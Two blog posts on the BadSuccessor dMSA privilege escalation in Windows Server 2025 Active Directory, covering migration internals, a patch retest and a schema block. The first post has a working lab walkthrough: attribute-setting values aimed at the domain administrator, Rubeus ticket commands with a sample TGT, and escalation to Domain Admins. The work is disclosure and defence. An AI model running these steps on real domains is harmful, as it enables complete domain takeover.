When the migration of a (legacy service) account to a dMSA has been completed (state = 2), the dMSA gets a merged PAC. The merged PAC contains ALL objectSIDs related to both the (legacy service) account and the dMSA. This is to make sure the dMSA inherits all user rights, permissions and resource access from the (legacy service) account!
The migration process through PoSH CMDlets (and therefore operational attributes under the hood) can only be executed by Domain Admins, which is GOOD!
Operation Attribute “migrateADServiceAccount” perform actions, like writing data in specific attributes, on both the legacy service account and the dMSA
In addition to the above, the following is also done by the W2K25 DC:
Every time the TGT for the dMSA is generated/refreshed, the DC adds the current the hash(es) of the legacy service account (for the encryption types it supports!) to the previous keys of the dMSA. In other words, the dMSA also inherits the keys of the legacy service account to make sure that TGS tickets issued to client for the service can be decrypted by the service when it has been migrated to the dMSA.
BUT THAT is shortly momentary and only applicable when a TGS has been requested while the service was still using the legacy service account and accessed later after the migration is completed
When the migration has completed it is the dMSA doing the authenntication and not the legacy svc account. The SPNs have been migrated from the legacy svc account to the dMSA, so any TGS will be encrypted with the keys of the dMSA and not the legacy svc account
On the dMSA, the attributes “msDS-DelegatedMSAState”, “msDS-ManagedAccountPrecededByLink” are not protected from regular LDAP writes. Therefore, ANYONE with at least the LDAP write permissions to those 2 attributes or Full Control over the dMSA can specify the DN of ANY account
With BadSuccessor (NO patch installed), this is the minimum required!
With PatchedSuccessor (patch installed), this is the minimum required!
On the (legacy service) account, the attributes “msDS-SupersededServiceAccountState”, “msDS-SupersededManagedAccountLink” are not protected from regular LDAP writes. Therefore, ANYONE with at least the LDAP write permissions to those 2 attributes or Full Control over the (legacy service) account can specify the DN of ANY dMSA
With BadSuccessor (NO patch installed), this IS NOT required!
With PatchedSuccessor (patch installed), this is the minimum required!
BadSuccessor – WITHOUT THE PATCH “August 12, 2025 – KB5063878 (OS Build 26100.4946)” on W2K25 DCs
Somewhere in the end of may 2025, Akamai researcher Yuval Gordon published his research on how the “BadSuccessor” attack technique could be used to take over the entire AD forest/domain by just owning 1 dMSA in the AD. His complete research can be read through the following link: BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory.
At a high-level the “BadSuccessor” attack technique misuses the migration flow used in migrating a (legacy) service account to a dMSA. When using any of the official CMDlets involved in the migration of (legacy) service account to a dMSA, Domain Admins equivalent permissions are required. However, for unknown reason, Microsoft has not protected the attributes on both the (legacy) service account and the dMSA from regular LDAP writes. So if you have at least the WRITE PROPERTY permission on the required attributes, you are able to simulate the migration and use it for an attack and take over the AD domain. To make it even worse, although the (legacy) service account and the dMSA provide the ability about the migration state (started, completed) and that both accounts are linked to each in AD, the KDC, again for unknown reason, only validates the state of the dMSA (attribute “msDS-DelegatedMSAState”) (is migration complete?) and which account is referenced on the dMSA (attribute “msDS-ManagedAccountPrecededByLink”) (for which account has migration been completed). It DOES NOT validate anything else! So with that in mind, anyone owning any dMSA could configure the state of the dMSA to 2 and specify the DN of any account of interest. Obviously high-privileged accounts are of interest to misuse. Thinking again, remember the default domain administrator and the KRBTGT account have well-known DNs. Specifying the DN of the default domain administrator directly gives you all the permissions in the AD domain when using this attack. Specifying the DN of the KRBTGT allows you to execute Golden Ticket attacks. Either way, the attacker ends up controlling the AD domain. What could you do about this? At first, review your delegation model. Check out the following (2025-05-25) Reviewing Your Delegation Model Before Introducing W2K25 DCs And Enhancing Security (Due To “BadSuccessor”) for lots of details. In addition, to completely block this attack technique that misuses the dMSA migration scenario, check out the following (2025-07-11) How to Block BadSuccessor: The Good, Bad, and Ugly of dMSA Migration. More info at the end about this. Make sure to read it!
In summary with THIS scenario (no patch installed), the W2K25 DC presents the following behavior
The W2K25 DC performs a validation before having the BEHAVIOR described above. However, it ONLY validates the state of the dMSA and the link on the dMSA to the (legacy service) account, and NOTHING else! In other words, it only checks if the following is true:
dMSA attribute “msDS-DelegatedMSAState” = 2
dMSA attribute “msDS-ManagedAccountPrecededByLink” = <DN of some account, user/computer/sMSA/gMSA/dMSA> (Yes, indeed, ANY authenticable account in AD, disable or enabled!)
As no control is needed on the (legacy service) account (the account being SuperSeeded!), accounts with well-known DNs are therefore at risk!: “default domain administrator (permissions!)” and “KRBTGT (Golden Ticket!)”. To misuse any account you need to know its DN!.
With adminSDHolder protection ONLY, the properties of the object cannot be viewed, but you can still determine the DN!
To try it out yourself I will provide links to code and PowerShell code, and will also provide the command used.
While logged on to the a member server with the following permissions:
Member of local Administrators
Member of Account Operators in the AD domain (quick and easy way to get Full Control on non-high-privileged accounts)
Using the WRITE DATA PoSH Code above, I provide it with the following input values, to do the following:
Configure the specified dMSA with state 2
On the specified dMSA configure the DN of the account for which the migration has been completed (i.e. the one being attacked)
On the specified dMSA, configure the attacker account to be allowed to retrieve the password
Execute the PoSH code with the patch not installed
# MIGRATION COMPLETED
# WRITE DATA INTO ATTRIBUTES "msDS-groupMSAMembership", "msDS-DelegatedMSAState", "msDS-ManagedAccountPrecededByLink" OF THE dMSA
$dMSADN = "CN=dMSA.weak,OU=dMSA-TESTs,OU=Org-ITMgmt,DC=ADTEC,DC=NET"
$objectState = 2
$accDN = "CN=ADM TEC,CN=Users,DC=ADTEC,DC=NET"
$accAllowGetPwd = "ADTEC\bad.act0r"
$badSuccessorPatchInstalled = $false
Figure 1: Configuring The dMSA To Misuse/Attack The Default Domain Administrator Account (NO Path Installed!)
Using the VIEW DATA PoSH Code above, let’s check the state of the object(s):
Figure 2: Viewing The Data On Both The dMSA And The Targeted Account
The required state of the objects is in place, so let’s misuse it now!
While logged on to the a member server, execute the following code to get a TGT for the attacker account that is allowed to retrieve the managed password of the dMSA:
# Get The TGT For The USER Account Used ALLOWED To Retrieve The Password Of The dMSA
#.\Rubeus.exe asktgt /user:<sAMAccountName> /password:<PASSWORD> /enctype:aes256 /domain:<DOMAIN FQDN> /nowrap
.\Rubeus.exe asktgt /user:bad.act0r /password:Pa`$`$w0rd /enctype:aes256 /domain:ADTEC.NET /nowrap
Figure 3a: Getting A TGT For The Attacker Account That Is Allowed To Retrieve The Managed PasswordFigure 3b: Getting A TGT For The Attacker Account That Is Allowed To Retrieve The Managed Password Of The dMSA
While logged on to the a member server, execute the following code to use the TGT of the attacker account and retrieve a TGS ticket for the dMSA and inject it into the session of the attacker account:
# Get The TGS For The dMSA And Inject The Ticket
.\Rubeus.exe asktgs /targetuser:<sAMAccountName dMSA> /domain:<DOMAIN FQDN> /enctype:aes256 /service:krbtgt/<DOMAIN FQDN> /dc:<W2K25 DC FQDN> /dmsa /opsec /nowrap /ptt /ticket:<TGT Base64 TICKET>
.\Rubeus.exe asktgs /targetuser:dMSA.weak$ /domain:ADTEC.NET /enctype:aes256 /service:krbtgt/ADTEC.NET /dc:R0FSRWDC1.ADTEC.NET /dmsa /opsec /nowrap /ptt /ticket:doIFojCCBZ6gAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQsbCUFEVEVDLk5FVKIeMBygAwIBAqEVMBMbBmtyYnRndBsJQURURUMuTkVUo4IEbTCCBGmgAwIBEqEDAgECooIEWwSCBFcqlaOJl7swR4UbYMFP3IxxoHgC/OBEChI1I35BZ+QvivcleUH2S/OMWj8XIDTN67dGsdMF1QCApabIUL6DfvdR6PTIPnIRyP7lft+PwAPrIvdcVHmc+lMEJW3/ZLPOa3gT1zHAoynPWxxGYOa5GeIlYGpMV8KxXHHKDJvEGz1u3sRC3RqfrYjp4N7p/9EPFYKFxt9giixnp3MPe3IPV5Gv1B1jnYm9+hSGyAAoMptLTBbaHXCP3ktjNvPv8xBEQnbnU2+xyoqSAaU0zOKbQSYO1q9il76eLelHf5ifsqO/Lf/NYADRmUyRXGfz4vJ2+Gch++zpO7vrhz1ETPLw6GDlU7Enh1fqENR5Xosi4H+1mqBw4WkHZKwIJ9lOd+0XSSJ1KFcSIKHvxuazn1x5wdBRxePsSWxdb0Mcg2EqJWkohLHNlDAj2N30VIrE4nakFOgaqLxA1ZzeAt5e3kKMKIpsGf7RTJqew4MHWE3Q5HFqtqoIsNppcQFkqS7/yGnK7gQA1c1iaeVwt0+V5DM/9qMK5u+nNdZkgRNCBLo49fWyUE6yCTFnwNWoqTUsTtm70UX4iZmw7bwgUHx2Bl4HWITr9IEKh6zESjZ0mji3n4GnH2i0kZSo81QkkvxovyENwsGsNbQ42sZaMPvtDELJIgDov9fckBP8jxy4eZLPhw36hrFREZM0nhYJ7r9yynUooyrqvmbNqbbUDEcNI7i8wTvO2LTr0f4LHTzWiac+7RJEkL3CPGEBAziDTESo+VIWjWKPBYth4BoESM5sLTVUzWKNTtOSMppTyemRr55l7DS136vmjCzY6trmQhGNwR0SLcjZxhge15NBGV3xmjuNibhcERQ6sW8vGU8nfIBws5odSXLNBjv3dJYQtvNC8lUrCnoZsmgY5aq0VdDJq1b2akw4DBJm0qfae/NXzxh9Ex8wnt1DJIlYZdh9klDiAfyi9tUEkkK3si1TlOQT5RU51e4Dt0DveaZO8qH9KqhIhI8N50Gofk60d6wo4t2mxCDIzxmU2ZHCx8Z+74ultKanl5GxO+e5wmnBA9UEkf3MJVL0LLmy8O8jN+xCuSvjVy9FnVz+2b6a2nsrIZlZDPvSQhdghxQRx1xnZomSPMVXAxhWysom+b5/49otpffAEMd6t3Cz60+J2IL197xCjo4/76dq2LQQrPPhqQ3FURak1AA1VAK8IR/o5aYC5ZCre47LrrUZkfX0yFTBtG19Vmm3uZEuzQpxmDzJiDl66xV6M596Yyjpao1We9PvM7ackxqR7wFIMv3PYjhm/WWrQWqNbYMf5jzOlKl9i9r69xpcvDZdCqbMuyGm/CsHN1oQn/W3LwXS611Os1DdPAtCHFtXPINrzdFQn44UVrFVcMz1nixnj0+P4d9jeobg4vEBBLBnRWTnJiq7DuaMAPFzHHmcLzN7mjaCdPBJGti+mJfTSZ27KR8S/cE44YbGrK/W43zPTL2OTif5BF6no4HeMIHboAMCAQCigdMEgdB9gc0wgcqggccwgcQwgcGgKzApoAMCARKhIgQgLu/fNuGkPagNa9Ajj4/pAlPR0dnFT+U61ExuLBlVIh+hCxsJQURURUMuTkVUohYwFKADAgEBoQ0wCxsJYmFkLmFjdDByowcDBQBA4QAApREYDzIwMjUwOTAyMTEyOTAzWqYRGA8yMDI1MDkwMjIxMjkwM1qnERgPMjAyNTA5MDkxMTI5MDNaqAsbCUFEVEVDLk5FVKkeMBygAwIBAqEVMBMbBmtyYnRndBsJQURURUMuTkVU
Figure 4a: Getting A TGS For The dMSA Using The TGT Of The Attacker Account That Is Allowed To Retrieve The Managed PasswordFigure 4b: Getting A TGS For The dMSA Using The TGT Of The Attacker Account That Is Allowed To Retrieve The Managed PasswordFigure 4c: Getting A TGS For The dMSA Using The TGT Of The Attacker Account That Is Allowed To Retrieve The Managed Password
While logged on to the a member server, execute the following code to display the owned Kerberos tickets by the attacker account (note the TGT and the TGS for the dMSA account!):
KLIST
Figure 5: Kerberos Tickets Owned By The Attacker Account For The dMSA
While logged on to the a member server, execute the following code to add the attacker account to the Domain Admins group (to prove the attacker account is allowed to this due to the dMSA account Kerberos Tickets also containing the Object SIDs of the Default Domain Administrator account):
Figure 6: Listing The Members Of The Domain Admins Group In AD BEFORE Adding The Attacker AccountFigure 7: Listing The Members Of The Domain Admins Group In AD AFTER Adding The Attacker Account
GAME OVER! – The attacker account now is and has Domain Admins powers
PatchedSuccessor – WITH THE PATCH “August 12, 2025 – KB5063878 (OS Build 26100.4946)” on W2K25 DCs
Almost halfway August 2025 Microsoft provided a patch to mitigate the risk of BadSuccessor. I used the exact same steps as explained above to see what would happen. All the W2K25 DCs in this AD domain have been fully patched and therefore include the patch that mitigate the risk of BadSuccessor.
Figure 8: The Patch Installed On W2K25 DCs To Mitigate The Risk Of BadSuccessor
Using the VIEW DATA PoSH Code above, let’s check the state of the object(s):
Figure 9: Viewing The Data On Both The dMSA And The Targeted Account
The required “BadSuccessor” state of the objects is in place, so let’s try to misuse it again!
While logged on to the a member server, execute the following code to get a TGT for the attacker account that is allowed to retrieve the managed password of the dMSA:
# Get The TGT For The USER Account Used ALLOWED To Retrieve The Password Of The dMSA
#.\Rubeus.exe asktgt /user:<sAMAccountName> /password:<PASSWORD> /enctype:aes256 /domain:<DOMAIN FQDN> /nowrap
.\Rubeus.exe asktgt /user:bad.act0r /password:Pa`$`$w0rd /enctype:aes256 /domain:ADTEC.NET /nowrap
Figure 10a: Getting A TGT For The Attacker Account That Is Allowed To Retrieve The Managed PasswordFigure 10b: Getting A TGT For The Attacker Account That Is Allowed To Retrieve The Managed Password
So far so good! While logged on to the a member server, execute the following code to use the TGT of the attacker account and retrieve a TGS ticket for the dMSA and inject it into the session of the attacker account:
# Get The TGS For The dMSA And Inject The Ticket .\Rubeus.exe asktgs /targetuser:<sAMAccountName dMSA> /domain:<DOMAIN FQDN> /enctype:aes256 /service:krbtgt/<DOMAIN FQDN> /dc:<W2K25 DC FQDN> /dmsa /opsec /nowrap /ptt /ticket:<TGT Base64 TICKET>
Figure 11: Getting A TGS For The dMSA Using The TGT Of The Attacker Account That Is Allowed To Retrieve The Managed Password
Ah crap! A GENERIC Kerberos error is thrown! Something is blocking the issuance of the TGS for the dMSA!
At the same time, the processing W2K25 DC logs the following Audit Error if Kerberos Service Ticket Operations have been enabled for at least Failure in Advanced Auditing.
Figure 12: Audit Failure Of Kerberos Tickets Operations In The Security Event Log
One of the things I noticed was that it was still possible to write the attributes “msDS-DelegatedMSAState”, “msDS-ManagedAccountPrecededByLink” on the dMSA. In other words, the attributes are still not protected from LDAP writes.
The next thing to try was to write both data on the dMSA and the targeted account. Using the WRITE DATA PoSH Code above, I provide it with the following input values, to do the following:
Configure the specified dMSA with state 2
On the specified dMSA configure the DN of the account for which the migration has been completed (i.e. the one being attacked)
On the specified dMSA, configure the attacker account to be allowed to retrieve the password
Configure the specified targeted account (i.e. the one being attacked) with state 2
On the specified targeted account (i.e. the one being attacked) configure the DN of the dMSA
Execute the PoSH code with the patch being installed
# MIGRATION COMPLETED
# WRITE DATA INTO ATTRIBUTES "msDS-groupMSAMembership", "msDS-DelegatedMSAState", "msDS-ManagedAccountPrecededByLink" OF THE dMSA
# WRITE DATA INTO ATTRIBUTES "msDS-SupersededServiceAccountState", "msDS-SupersededManagedAccountLink" OF THE (LEGACY SERVICE) ACCOUNT
$dMSADN = "CN=dMSA.weak,OU=dMSA-TESTs,OU=Org-ITMgmt,DC=ADTEC,DC=NET"
$objectState = 2
$accDN = "CN=ADM TEC,CN=Users,DC=ADTEC,DC=NET"
$accAllowGetPwd = "ADTEC\bad.act0r"
$badSuccessorPatchInstalled = $true
PS: the attacker account is NOT a member of the Domain Admins group. The targeted account is the default domain administrator account, and because of that I executed the code as the default domain administrator account, just to validate the thoughts.
Figure 13: Viewing The Data On Both The dMSA And The Targeted Account
Now execute the first RUBEUS command to get a TGT for the attacker account – This will succeed as before!
Now execute the second RUBEUS command to use the TGT of the attacker account and retrieve a TGS ticket for the dMSA and inject it into the session of the attacker account – This will succeed as before!
The main difference between the BadSuccessor state and the PatchedSuccessor? This is how it works:
The W2K25 DC performs a validation before having the BEHAVIOR described above. However, it now validates BOTH the state of the (legacy service) account and the dMSA, and whether both the (legacy service) account and the dMSA are referencing each other! In other words, it now checks if the following is true:
dMSA attribute “msDS-DelegatedMSAState” = 2
dMSA attribute “msDS-ManagedAccountPrecededByLink” = <DN of some account, user/computer/sMSA/gMSA/dMSA> (Yes, indeed, ANY authenticable account in AD, except other dMSAs, disable or enabled!)
(legacy service) account attribute “msDS-SupersededManagedAccountLink” = <DN of dMSA referencing the (legacy service) account>
Control is now needed on BOTH the (legacy service) account and the dMSA to misuse this. Because of the required dual control, the BadSuccessor attack cannot compromise the complete AD forest/domain anymore like it was possible before.
Just configuring the dMSA attributes “msDS-DelegatedMSAState”, “msDS-ManagedAccountPrecededByLink” a Kerberos error occurs as validation fails! The original danger is gone!
Recommendations
With the patch from Microsoft, the BadSuccessor attack technique is prevented from being used to take over the AD domain the easy way. The attack technique still works. One important thing to keep in mind is to still review your delegation model and determine where change is needed. For guidance, check out the following blog post (2025-05-25) Reviewing Your Delegation Model Before Introducing W2K25 DCs And Enhancing Security (Due To “BadSuccessor”). Remember that any member of the “Account Operators” group has Full Control permissions over any account in AD that is not a member of any protected group. If you think “so, what?! – the targeted account to be misused is not a member of the protected group!”. But what if the targeted account indeed is not a member of any protected group, but DOES HAVE high-privileged permissions on (certain) objects in AD, directly or indirectly? Think about having “Full Control”, or “Write DACL”, or “Reset Password”, or have special high-privileged permissions on adminSDHolder. In that case it is still GAME OVER. Let me say this gently…. PLEASE REVIEW YOUR DELEGATION MODEL AND ASSESS PERMISSIONS IN AD AND REMEDIATE AS NEEDED!
In addition, to completely block this attack technique (and the migration scenario!) that misuses the dMSA migration scenario, check out the following blog post (2025-07-11) How to Block BadSuccessor: The Good, Bad, and Ugly of dMSA Migration. Instead of using the code referenced in that blog post, use the following updated code instead to enable, disable and view the block:
And finally, check and monitor for Audit Failure of Kerberos Tickets Operations in the Security Event Log where dMSA are involved. It could be that someone is trying to use the BadSuccessor technique to try to take over the AD domain.
DISCLAIMER: This content is provided for educational and informational purposes only. It is intended to promote awareness and responsible remediation of security vulnerabilities. Unauthorized use of this information for malicious purposes, exploitation, or unlawful access is strictly prohibited. Any illegal activity is not endorsed or condoned and any liability arising from misuse of the material is disclaimed. Additionally, no guarantee for the accuracy or completeness of the content is given and no liability for any damages resulting from its use is assumed.
Cheers,
Jorge
————————————————————————————————————————————————————- This posting is provided “AS IS” with no warranties and confers no rights! Always evaluate/test everything yourself first before using/implementing this in production! This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years! DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/ ————————————————————————————————————————————————————- ########################### IAMTEC | Jorge’s Quest For Knowledge ########################## #################### https://jorgequestforknowledge.wordpress.com/ ###################
Author: Jorge de Almeida Pinto, Semperis Senior Incident Response Lead
Key findings
BadSuccessor, a privilege escalation technique that exploits delegated Managed Service Accounts (dMSAs), presents high risk to organizations using even one Windows Server 2025 domain controller (DC). The technique can be used to impersonate any account in Active Directory (AD) – even Domain Admins, the KRBTGT account or any other (high-privileged) enabled or disabled account.
Semperis Senior Incident Response Lead Jorge de Almeida Pinto discovered a way to completely block the dMSA migration use case, which effectively prevents attackers from misusing a dMSA to potentially take over an AD domain.
The solution is configured in the AD schema and should be applied to every AD forest.
This risk mitigation can be implemented until Microsoft has released a patch to mitigate the vulnerability.
Until Windows Server 2025, AD and Windows supported standalone Managed Service Accounts (sMSAs) and group Managed Service Accounts (gMSAs). Windows Server 2025 introduces a new type of managed service account: delegated Managed Service Accounts.
This new account type is designed to enhance credential management of user-based service accounts by supporting migration from the legacy service account to a dMSA.
Researchers at Akamai1 discovered that attackers can easily create and configure a dMSA, then abuse it to impersonate any authenticatable security principal in AD. They named the attack technique BadSuccessor.
In this blog post, we provide a detailed introduction and information for mitigating the vulnerability, including PowerShell code to implement the suggested solution to block the migration use case.
Why do you need to block BadSuccessor?
When used as intended, dMSA migration officially supports only legacy service accounts as the source (account type user). However, the BadSuccessor attack works with any authenticatable account type as the source, including, computer accounts, sMSAs, gMSAs, and even dMSAs. It also does not matter if the source account is enabled or disabled.
The only components needed to execute this attack are:
At least one writable 2025 DC
One (vulnerable) dMSA and the correct tooling
In addition, the attack does not need to take place on Windows Server 2025.
The core of the BadSuccessor attack starts with the ability to either create a new dMSA or control an existing dMSA. Thus, delegation of control of any existing AD domain requires immediate review and action. 2
Given the potential for complete AD domain compromise, you should take steps to mitigate this risk as soon as you’ve introduced your first Windows Server 2025 writable DC – even if you’re not yet using dMSAs.
How to detect BadSuccessor: Indicators of exposure and compromise
Microsoft designed the dMSA for one specific, hard-to-solve use case that many organizations have today. In practice a dMSA supports two use cases.
Because of the multiple use cases, any dMSA has a state that determines how the dMSA is used and that is recorded in the attribute msDS-DelegatedMSAState.
The supported states are:
0: Unused (this state is the default when undefined)
1: Migration use – started
2: Migration use – completed
3: Native use
A dMSA can be used like you use a gMSA. In that case, the state of the dMSA will be 3, meaning it is used natively.
The dMSA was designed to support the migration of a legacy service account to a dMSA for better and enhanced credential management without impacting the functionality of a service, application, or scheduled task that uses the legacy service account. Better and enhanced credential management technically means more frequent and automated password rotation using a stronger and very complex password.
The migration from the legacy service account to the dMSA is initiated by an admin. The state of both the legacy service account and the dMSA changes to 1 – migration started. Once the admin completes the migration and the state of both the legacy service account and the dMSA changes to 2 – migration completed – the specific configuration of the legacy service account itself is migrated to the dMSA. However, group memberships of the legacy service account are not migrated to the dMSA and remain with the legacy service account.
During the first migration state, the system automatically discovers where the legacy service account is being used and configures the dMSA accordingly. In the second migration state, when the system tries to authenticate using the (disabled) legacy service account, the dMSA takes over the authentication.
When the dMSA takes over authentication, the Windows Server 2025 domain controller merges the Privileged Attribute Certificate (PAC) of the legacy service account and the PAC of the dMSA into one PAC containing all combined group memberships and other applicable objectSIDs. The dMSA therefore inherits all user rights, permissions, and access so that it can supersede the legacy service account without impact to the service, application, or scheduled task.
The good: dMSA succession as intended
The following PowerShell cmdlets are available for the migration of a legacy service account to a dMSA.
PowerShell CMDlet
Action
Start-ADServiceAccountMigration
Initiate the migration of the legacy service account to the dMSA. This state transitions from initial to started. Can be executed only when the state is 0.
Complete-ADServiceAccountMigration
Complete the migration of the legacy service account to the dMSA. Transitions from started to completed. Can be executed only when the state is 1.
Undo-ADServiceAccountMigration
Undo the last migration step and revert to the previous step. Transitions from completed to started or from started to initial. Can be executed only when the state is either 1 or 2.
Reset-ADServiceAccountMigration
Reset the migration to the initial state, undoing everything. Transitions from either completed or started to initial. Can be executed only when the state is either 1 or 2.
Depending on the PowerShell cmdlet being used, an operational attribute with input data is used against the RootDSE of a writable DC. When that happens, multiple simultaneous actions are executed against both the target legacy service account and the target dMSA. The PowerShell cmdlets or the operational attribute can be used only by members of the Domain Admins group.
For a better understanding of what each PowerShell cmdlet does, here is a more detailed description of the actions.
When using Start-ADServiceAccountMigration, the following actions are being executed by the system:
On the legacy service account:
Set msDS-SupersededServiceAccountState to 1
Set msDS-SupersededManagedAccountLink to the DN of the targeted dMSA
On the dMSA:
Set msDS-DelegatedMSAState to 1
Set msDS-ManagedAccountPrecededByLink to the DN of the targeted legacy service account
Assign read permissions to the targeted legacy service account on all attributes of the targeted dMSA
Assign write permissions to the targeted legacy service account on the attribute msDS-GroupMSAMembership of the targeted dMSA
When using Complete-ADServiceAccountMigration, the following actions are being executed by the system:
On the legacy service account:
Set msDS-SupersededServiceAccountState to 2
Disable the account
On the dMSA:
Set msDS-DelegatedMSAState to 2
Remove the previously assigned read permissions to the targeted legacy service account from all attributes of the dMSA
Remove the previously assigned write permissions to the targeted legacy service account from the attribute msDS-GroupMSAMembership of the dMSA
From the legacy service account to the dMSA, move the following configurations:
Service Principal Names (SPNs)
Allowed To Delegate To List
Resource Based Constrained Delegation
Assigned Authentication Policy
Assigned Authentication Silo
Trusted Authentication For Delegation UAC Bit
When using Reset-ADServiceAccountMigration, all the actions executed by either Start-ADServiceAccountMigration or Complete-ADServiceAccountMigration are undone, and both the legacy service account and the dMSA revert to their initial state.
When using Undo-ADServiceAccountMigration, all the actions executed by either Start-ADServiceAccountMigration or Complete-ADServiceAccountMigration are undone and both the legacy service account and the dMSA revert to the state before execution of, respectively, Start-ADServiceAccountMigration or Complete-ADServiceAccountMigration. Technically this means either of the following transitions:
From completed to started
From started to initial
The bad and the ugly: dMSA abuse
As the Akamai researchers discovered, the attributes of the legacy service account and the dMSA involved in the migration are not protected from regular LDAP writes. Anyone with at least Write Property permission on the attributes of the dMSA – or any other permission that can lead to that permission – can write data. Unfortunately, this loophole invalidates the protections implemented through the PowerShell cmdlet and the operational attribute under the hood.
In addition, in terms of validation, the authenticating Windows Server 2025 writable DC appears to only consider two attributes of the dMSA and nothing from the legacy service account. If the msDS-DelegatedMSAState of the dMSA is set to 2 (and it doesn’t even matter how it got to that state), the DC will check which account is specified in the msDS-ManagedAccountPrecededByLink attribute.
With that information, and assuming the requesting account (normally a computer account, but it can be anything) has permissions to request the password or keys from the dMSA, the authenticating Windows Server 2025 writable DC merges the Privileged Attribute Certificate (PAC) of the legacy service account and the dMSA into one PAC. The DC then issues that merged PAC in a TGS-REP to the requesting account.
The Distinguished Name (DN) of the account in the msDS-ManagedAccountPrecededByLink attribute can be anything – and BadSuccessor fully exploits this vulnerability.
Using administrative tiering helps to hide and protect your high-privileged accounts (users, services, computers, sMSAs, gMSAs, dMSAs). The focus here is in “hiding” the high-privileged accounts so that their DN isn’t visible to any low-privileged account. It’s also important to note that the DN of high-privileged accounts should also not be easily guessable.
This attack can quickly become a very ugly successor.
If an attacker knows the DN of the default domain Administrator account (CN=administrator,CN=Users, DC=,DC=) or the KRBTGT account (CN=krbtgt,CN=Users,DC=,DC=), they can misuse the controlled dMSA to completely take over the AD domain, and ultimately the AD forest.
REMARK: The KRBTGT account can be moved into a protected and hidden tiering model – but Microsoft does not recommend moving it.3
REMARK: The Administrator account can be moved into a protected and hidden tiering model. It is also OK to rename it.4
If you do decide to move the default domain Administrator account or the KRBTGT account into the administrative tiering structure, make sure to put both in a separate OU (i.e., not combined with other accounts) and grant access to that OU to only Tier-0 admin accounts.
How to block successors
Looking at the current inner workings of a dMSA from a “good successor” and “bad and ugly successor,” the goals of my research were to:
A.) Support all described use cases.
B.) Allow and support the good successor.
C.) Block the bad and ugly successor.
The regular LDAP writes, as described for the bad and ugly successor, require the actor to have specific permissions on a dMSA. The use of the PowerShell cmdlets requires the actor to have membership in Domain Admins.
As I noted earlier, the PowerShell cmdlets perform different actions against the legacy service account and the dMSA, leveraging an operational attribute with input data.
With these thoughts, I reviewed the AD schema – specifically the schema definition of the msDS-ManagedAccountPrecededByLink attribute as it controls which account is being migrated (officially) or attacked (Figure 1).
Although the attribute msDS-DelegatedMSAState plays an important part, it must still be managed by executing a regular LDAP write to be able to set the state of the dMSA to 3 when using it natively rather than for migration purposes.
Figure 1: The original AD schema definition of the msDS-ManagedAccountPrecededByLink attribute with systemOnly set to FALSE
Looking at the definition of the attribute displayed, my intention was to block regular LDAP writes and support operational attribute writes. With that in mind, the property systemOnly stood out, as I hoped it would achieve the goal of the research. That attribute cannot be changed like any other regular attribute. A feature on the DC must first be enabled to support a special write action and then disabled again. The intention of the block is to prevent regular WRITE, while still allowing READ.
Let’s go through this step by step.
Figure 2 shows the check of the configuration of the dMSA dMSA.weak5. That dMSA has its initial state and no account is linked to it (i.e., no account is displayed).
Figure 2: Viewing the configuration of the dMSA “dMSA.weak”
The attacker sets the state of dMSA.weak to 2, configures a linked account (the default domain administrator, which was renamed in this AD to ADM.TEC) and adds themself as the account allowed to retrieve the password/keys of the dMSA6 (Figure 3). In this case, the action is possible because the attacker has an account that is a member of the legacy Account Operators group.
Figure 3: Reconfiguring the dMSA “dMSA.weak” for misuse
Next, we check the configuration of dMSA.weak5 (Figure 4). The dMSA now has the completed migration state 2, has an account linked to it, and the attacker is allowed to retrieve the password/keys of the dMSA. Using RUBEUS, for example, the attack can be initiated against the dMSA and especially the linked account.
Figure 4: Viewing the configuration of the dMSA “dMSA.weak”
Next, we remove the previous configuration and validate that it was indeed removed 6 5 (Figure 5 and Figure 6).
Figure 5: Removing the previously set configuration from the dMSA “dMSA.weak”Figure 6: Viewing the configuration of the dMSA “dMSA.weak”
Now we can view the state of the block7 (Figure 7).
Figure 7: Reviewing the state of the block on the attribute (False denotes not blocked)
Next, we enable the block for the migration scenario8 (Figure 8).
Figure 8: Enabling the block on the attribute (True denotes blocked)
Again, we confirm by viewing the state of the block7 (Figure 9).
Figure 9: Reviewing the state of the block on the attribute (True denotes blocked)
The attacker now tries again6 to:
Set the state of dMSA.weak to 2
Configure a linked account (again the renamed default domain administrator)
Add themself as the account allowed to retrieve the password/keys of the dMSA (Figure 10).
Now, the transaction fails to complete as the attacker is not allowed to write the DN of the linked account.
Goal C achieved!
Figure 10: Attempting to reconfiguring the dMSA “dMSA.weak” for misuse
Now, let’s again check the configuration of the dMSA.weak5 (Figure11).
Figure 11: Viewing the configuration of the dMSA “dMSA.weak”
Because the complete transaction failed, nothing was changed. If the attributes were written individually, all would have succeeded, except for the write to the msDS-ManagedAccountPrecededByLink attribute. Nothing is displayed as it does not have a value.
With the block enabled, using the official way to migrate a legacy service account to a dMSA also fails (Figure 12). This is unfortunate. There is light at the end of the tunnel though!
The block is about preventing writes against the msDS-ManagedAccountPrecededByLink attribute. Looking at the official PowerShell cmdlets for the migration only the cmdlets Start-ADServiceAccountMigration and Reset-ADServiceAccountMigration write to that attribute. The cmdlet Undo-ADServiceAccountMigration also writes to that attribute when undoing the step from started to initial. In other transitions, there is no write needed or executed to that attribute.
Goals A and B: partially achieved.
Figure 12: Initiating the official migration of a legacy service account “sVC.SQL” to a dMSA “dMSA.SQL$”
Next, we disable the block for the migration scenario9 (Figure 13).
Figure 13: Disabling the block on the attribute (False denotes not blocked)
Now, we again view the state of the block7 (Figure 14).
Figure 14: Reviewing the state of the block on the attribute (False denotes not blocked)
Now, when the attacker tries6 to:
Set the state of dMSA.weak to 2
Configure a linked account (again the renamed default domain administrator)
Add themself as the account allowed to retrieve the password/keys of the dMSA
– they succeed because again the block is gone (Figure 15).
Figure 15: Reconfiguring the dMSA “dMSA.weak” for misuse
Now, when we check the configuration of dMSA.weak5 (Figure 16), we see the attacker has the completed migration state 2, has an account linked to the dMSA, and is allowed to retrieve the password/keys of the dMSA.
Figure 16: Viewing the configuration of the dMSA “dMSA.weak”
With the block disabled, we can also use the official method to successfully initiate, complete, and reset the migration of a legacy service account to a dMSA (Figure 17). For this example, another legacy service account and dMSA was used, and the migration was executed by a Domain Admin account.
Figure 17: Initiating, completing and resetting the migration of a legacy service account “sVC.SQL” to a dMSA “dMSA.SQL$”
With this solution, it’s possible to block the dMSA migration scenario and therefore any misuse.
